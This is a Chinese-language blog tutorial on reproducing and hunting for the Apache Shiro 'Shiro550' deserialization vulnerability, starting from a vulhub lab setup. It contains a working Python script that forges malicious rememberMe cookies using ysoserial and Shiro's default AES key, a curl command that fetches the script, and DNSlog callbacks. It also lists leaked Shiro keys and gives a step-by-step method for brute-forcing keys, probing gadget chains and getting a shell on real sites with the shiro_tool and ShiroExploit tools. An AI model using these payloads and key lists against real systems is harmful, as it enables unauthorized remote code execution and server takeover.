Shiro550复现和挖掘思路
一、环境搭建和知识储备
1.影响版本
shiro<1.2.4
2.特征判断
1.返回包cookie中存在rememberMe=deleteMe
2.我在实际的测试过程中通常遇到shiro是在登录处,登录失败后会返回标志字段,登陆成功后也会返回标志字段。这主要是因为shiro是作为一个Java安全框架,用于执行身份验证、授权、密码和会话管理。
3.除此之外,一些网站在登录之外的接口也可能存在shiro
3.环境搭建
此处我们已将搭建好了vulhub在centos7上
1.使用vulhub作验证,切入vulhub对应目录,启动环境
cd shiro/CVE-2016-4437/
docker-compose up -d
2.查看启动的端口和地址
docker-compose ps
3.访问ip:port登录
admin:vulhub
二、复现过程
2.1、POC验证
1、此处需要说明的是这里仅仅是使用了ysoserial的URLDNS进行反序列化探测,当然,密钥用的是shiro的默认密钥,加密之后发包还可以在DNS收到请求,就说明确实存在shiro550的漏洞,而不仅仅是反序列化
2、在登录处抓取shiro请求包,返回包中存在rememberMe=deleteMe
3、获取一个dnslog的子域名
4、执行以下python脚本进行DNS探测-需要python2,pyencrypt库
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5.jar', 'URLDNS', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={}".format(payload.decode())
执行命令
curl http://111.111.111.111/shiro/shiro.py//自己把脚本找个地方存
python2 shiro.py http://g2bv5a.dnslog.cn
5、将生成的payload通过抓包发送给存在反序列化的服务端,即可在DNSlog上收到消息
2.2、利用思路
1、首先我们知道,使用shiro默认密钥的人是不多的,而且此处也仅仅只能验证漏洞存在,那么真实环境下如何进行漏洞利用呢?思路大致是这个样子:
密钥猜解->直到获取到DNS请求为止,
使用已有的密钥去寻找已有的利用链去执行curl探测DNS->直到获取到DNS请求为止,
当我们满足了这两个条件后,就可以利用获得的密钥和gadget去进行命令执行,getshell。
2、具体步骤
写一个Python脚本去爆破获取一个dns子域,然后用已有的key去加密ysoserial的URLDNS生成的serialize数据,发送给对应的ip:port,然后请求DNSLOG,判断是否产生了数据。直到key猜解完或者猜解到key为止停止。
进入下一步链探测,重复第一步,只不过需要将URLDNS换成其它的链。
三、挖掘思路和利用工具
1.挖掘思路
1)针对数据包进行探测时,看到返回包中存在rememberMe=deleteMe,采用探测工具去枚举默认秘钥就可以。可以注重收集这些秘钥,从而增加一定的成功几率,这里给出一个举例。
kPH+bIxk5D2deZiIxcaaaA==
wGiHplamyXlVB11UXWol8g==
2AvVhdsgUs0FSA3SDFAdag==
4AvVhmFLUs0KTA3Kprsdag==
fCq+/xW488hMTCD+cmJ3aQ==
3AvVhmFLUs0KTA3Kprsdag==
1QWLxg+NYmxraMoxAXu/Iw==
ZUdsaGJuSmxibVI2ZHc9PQ==
Z3VucwAAAAAAAAAAAAAAAA==
U3ByaW5nQmxhZGUAAAAAAA==
6ZmI6I2j5Y+R5aSn5ZOlAA==
2)如果秘钥枚举完后也没有找到适合的秘钥,那就存在两种情况,第一是服务端采用了自生成的秘钥,这种就不存在漏洞了,第二是shiro的版本不在漏洞影响范围内,这种也是同样不存在洞。
2.利用工具
2.1 shiro_tool
网上有一个叫shiro_tool的工具,可以针对shiro的漏洞采用你已有的keys.txt去进行枚举,找到密钥后可以用ysoserial的已知链进行反序列化测试,还可以同时执行命令。如图
使用命令-启动工具采用当前目录的key和请求
java -jar shiro_tool.jar keys=".\shiro_key.txt" req=".\shiro_request.txt"
使用命令-启动工具采用指定key和指定请求
java -jar shiro_tool.jar http://www.test.com/test.do key="kPH+bIxk5D2deZiIxcaaaA=="
2.2 ShiroExploit
这个工具在github上有,利用简单,可以一键执行,而且可用的链比较多,可以单独指定key和gadget。具体的实战过程中使用体验和前面的工具相比各有千秋,最重要的是,后续的这个支持shiro721的检测,如图
启动命令-打开gui执行界面
java -jar ShiroExploit.jar
如何使用见GitHub
2.3、利用工具总结
这里可以采用自写脚本,也可以采用上述工具,不过实例利用中发现shiro_tool擅于发现密钥,而能找到可用链的几率小。
shiroExp在使用复杂请求的情况下,精准度会降低,找不到密钥,但它能利用的几率又比较大。综合利用即可。在get请求可以完成的情况下,尽量不用其复杂请求的功能。
用shrio_tool找密钥-->用shiroExp寻找链利用